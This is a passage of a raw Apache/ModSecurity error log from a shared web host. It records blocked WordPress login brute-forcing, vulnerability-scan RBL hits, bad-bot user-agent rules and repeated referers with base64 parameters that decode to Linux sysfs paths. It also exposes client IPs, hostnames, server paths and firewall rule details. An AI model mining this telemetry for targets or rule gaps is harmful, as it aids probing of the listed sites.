"/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ybV-dFiaX9AtWiQu2AAAARg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:41.694260 2026] [security2:error] [pid 715691:tid 715966] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/ctype/tests/ctype_alnum_basic.phpt"] [unique_id "ai30ybV-dFiaX9AtWiQu2QAAAYc"] [Sat Jun 13 18:24:41.735486 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.59:52109] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:41.735939 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.59:52109] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:41.776855 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.6:41014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:41.777140 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.6:41014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:41.836623 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.8:62227] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:41.836920 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.8:62227] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:41.874788 2026] [security2:error] [pid 715691:tid 715962] [client 159.223.112.69:59814] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ybV-dFiaX9AtWiQu4QAAAYM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:41.948944 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:24:41.949381 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:24:42.095504 2026] [security2:error] [pid 715691:tid 715860] [client 192.185.4.137:57130] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "drebok.com"] [uri "/xmlrpc.php"] [unique_id "ai30x7V-dFiaX9AtWiQukAABHQc"] [Sat Jun 13 18:24:42.096072 2026] [security2:error] [pid 715691:tid 715938] [client 159.223.112.69:59818] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yrV-dFiaX9AtWiQu6QAAAWs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:42.104980 2026] [security2:error] [pid 646876:tid 647068] [client 185.199.157.20:36915] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/admin.php"] [unique_id "ai30ytyTkdrNlD40tSHbDAAAADw"] [Sat Jun 13 18:24:42.153530 2026] [security2:error] [pid 646876:tid 646932] [remote 17.241.219.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ytyTkdrNlD40tSHbDgAAODU"] [Sat Jun 13 18:24:42.310062 2026] [security2:error] [pid 715691:tid 715766] [remote 17.22.253.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30yrV-dFiaX9AtWiQu7gABHDc"] [Sat Jun 13 18:24:42.313978 2026] [security2:error] [pid 715691:tid 715846] [client 159.223.112.69:59834] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yrV-dFiaX9AtWiQu7wAAAQ8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:42.384483 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:24:42.384940 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:24:42.451567 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.88:51168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:42.451870 2026] [access_compat:error] [pid 715691:tid 715762] [remote 57.141.14.88:51168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:42.531701 2026] [security2:error] [pid 646876:tid 647034] [client 159.223.112.69:59838] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ytyTkdrNlD40tSHbGQAAABo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:42.549141 2026] [security2:error] [pid 715691:tid 715867] [client 159.223.112.69:59850] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yrV-dFiaX9AtWiQu9QAAASQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:42.738172 2026] [security2:error] [pid 715691:tid 715748] [remote 17.241.219.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30yrV-dFiaX9AtWiQu_AABTyY"] [Sat Jun 13 18:24:42.750482 2026] [security2:error] [pid 715691:tid 715883] [client 159.223.112.69:59862] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yrV-dFiaX9AtWiQu_gAAATQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:42.769910 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.85:35166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:42.770210 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.85:35166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:42.823019 2026] [security2:error] [pid 715691:tid 715917] [client 159.223.112.69:59872] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yrV-dFiaX9AtWiQvAgAAAVY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:42.988785 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:24:42.989230 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:24:43.035390 2026] [security2:error] [pid 715691:tid 715962] [client 34.66.224.20:57146] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "nelsonfarmstn.com"] [uri "/"] [unique_id "ai30y7V-dFiaX9AtWiQvCQAAAYM"] [Sat Jun 13 18:24:43.044298 2026] [security2:error] [pid 646876:tid 647124] [client 159.223.112.69:59876] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30y9yTkdrNlD40tSHbKgAAAHQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:43.166694 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.104:30244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:43.167103 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.104:30244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:43.181814 2026] [security2:error] [pid 715691:tid 715813] [remote 17.22.253.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30y7V-dFiaX9AtWiQvDgABXWY"] [Sat Jun 13 18:24:43.211744 2026] [security2:error] [pid 715691:tid 715745] [remote 17.241.227.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30y7V-dFiaX9AtWiQvEwABfSM"] [Sat Jun 13 18:24:43.511112 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:24:43.511566 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:24:43.691609 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.27:45062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:43.692038 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.27:45062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:43.728878 2026] [security2:error] [pid 715691:tid 715897] [client 185.199.157.13:47107] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/edit-tags.php"] [unique_id "ai30y7V-dFiaX9AtWiQvHQAAAUI"] [Sat Jun 13 18:24:44.026148 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:44.026596 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:44.068764 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.112:25308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:44.069174 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.112:25308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:44.255875 2026] [security2:error] [pid 646876:tid 647082] [client 114.119.136.184:41535] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "kentraneotitas.org"] [uri "/team/%ce%ba%ce%ad%ce%bd%cf%84%cf%81%ce%bf-%ce%bd%ce%b5%cf%8c%cf%84%ce%b7%cf%84%ce%b1%cf%82-%ce%b5%ce%bb%ce%bb%ce%ae%ce%bd%cf%89%ce%bd-%cf%84%ce%bf%cf%85-%cf%80%cf%8c%ce%bd%cf%84%ce%bf%cf%85-%ce%ba%ce%b1/"] [unique_id "ai30zNyTkdrNlD40tSHbSwAAAEo"], referer: https://kentraneotitas.org/wp-sitemap-posts-team-1.xml [Sat Jun 13 18:24:44.257322 2026] [security2:error] [pid 715691:tid 715799] [remote 17.246.15.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30zLV-dFiaX9AtWiQvLQABT1g"] [Sat Jun 13 18:24:44.329601 2026] [security2:error] [pid 646876:tid 647077] [client 185.199.157.17:32973] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/goods.php"] [unique_id "ai30zNyTkdrNlD40tSHbTQAAAEU"] [Sat Jun 13 18:24:44.566201 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:24:44.566501 2026] 